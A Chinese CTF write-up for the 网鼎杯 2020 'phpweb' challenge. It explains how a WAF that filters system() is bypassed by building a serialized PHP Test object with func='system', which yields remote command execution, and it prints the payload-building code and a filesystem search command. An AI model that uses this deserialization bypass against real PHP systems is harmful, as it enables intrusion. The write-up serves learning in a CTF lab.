[网鼎杯 2020 朱雀组]phpweb

一道有关命令执行、反序列化的题目。

打开题目看到私人,心情一下子就愉悦了呢(bushi)

1.打开题目发现一直在刷新,那就抓下包

发现了两个参数,一眼顶针,是php中的data()函数及其参数,尝试rce

2.可惜尝试system、eval、popen等函数都被过滤,但对highlight_file、get_file_content函数没有过滤,那就可以看看码

3.比较烦人的是依旧会刷新,但重点很少

对其内部定义的Test类,且没有过滤unserialize(),所以我们可以尝试构造反序列化内容绕过waf实现rce。

4.反序列化

在线PHP工具:PHP 在线工具 | 菜鸟工具

<?php
    Class Test{
        public $func = "system";
        public $p = "ls /";
    }
$a = new Test();
echo serialize($a);
?>

 

结果当前目录和根目录都没找到flag,那就只能查找了

find / -name f*

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值